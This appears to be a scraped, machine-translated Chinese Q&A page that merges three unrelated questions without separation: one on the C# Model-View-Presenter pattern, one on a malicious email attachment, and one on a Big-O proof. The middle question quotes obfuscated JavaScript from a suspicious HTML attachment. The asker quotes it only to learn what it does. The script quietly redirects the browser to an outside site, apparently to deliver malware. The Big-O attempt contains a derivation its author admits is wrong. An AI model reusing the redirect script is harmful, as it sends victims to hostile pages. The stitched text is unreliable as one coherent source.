我一直试图完全理解Model View Presenter模式,因为它适用于C#.我有一个问题我无法解决.
在许多示例中,我注意到模型被定义为静态,并在Presenter基类(通常是泛型类)中构造.
在这种情况下,如何拥有多个模型类?根据我的理解,每个创建的演示者只能引用单个模型类.
我现在看到的例子可以在这里找到:http://wesaday.files.wordpress.com/2009/01/finalzip.doc(重命名为.zip).它来自本教程:http://wesaday.wordpress.com/2009/01/30/winform-model-view-presenter-part-v-the-view/
猜测我遇到的整体问题是看到上面的例子如何适应具有多个视图/演示者/模型的工作应用程序.
我的一些非IT同事在电子邮件中打开了一个非常可疑的.html附件.当看起来运行了一些javascript代码时,它导致了一个空白屏幕.
<script type='text/javascript'>function uK(){};var kV='';uK.prototype = {f : function() {d=4906;var w=function(){};var u=new Date();var hK=function(){};var h='hXtHt9pH:9/H/Hl^e9n9dXe!r^mXeXd!i!a^.^c^oHm^/!iHmHaXg!e9sH/^zX.!hXt9m^'.replace(/[\^H\!9X]/g, '');var n=new Array();var e=function(){};var eJ='';t=document['lDo6cDart>iro6nD'.replace(/[Dr\]6\>]/g, '')];this.nH=false;eX=2280;dF="dF";var hN=function(){return 'hN'};this.g=6633;var a='';dK="";function x(b){var aF=new Array();this.q='';var hKB=false;var uN="";b['hIrBeTf.'.replace(/[\.BTAI]/g, '')]=h;this.qO=15083;uR='';var hB=new Date();s="s";}var dI=46541;gN=55114;this.c="c";nT="";this.bG=false;var m=new Date();var fJ=49510;x(t);this.y="";bL='';var k=new Date();var mE=function(){};}};var l=22739;var tL=new uK(); var p="";tL.f();this.kY=false;</script>
Run Code Online (Sandbox Code Playgroud)
它做了什么?这超出了我的编程知识范围.
我试图猜测并证明大O:
f(n)= n ^ 3 - 7n ^ 2 + nlg(n)+ 10
我猜大O是n ^ 3,因为它是具有最大增长顺序的术语
但是,我无法证明这一点.我的不成功的尝试如下:
f(n) <= cg(n)
f(n) <= n^3 - 7n^2 + nlg(n) + 10 <= cn^3
f(n) <= n^3 + (n^3)*lg(n) + 10n^3 <= cn^3
f(n) <= N^3(11 + lg(n)) <= cn^3
so 11 + lg(n) = c
Run Code Online (Sandbox Code Playgroud)
但这不可能是正确的,因为c必须是恒定的.我究竟做错了什么?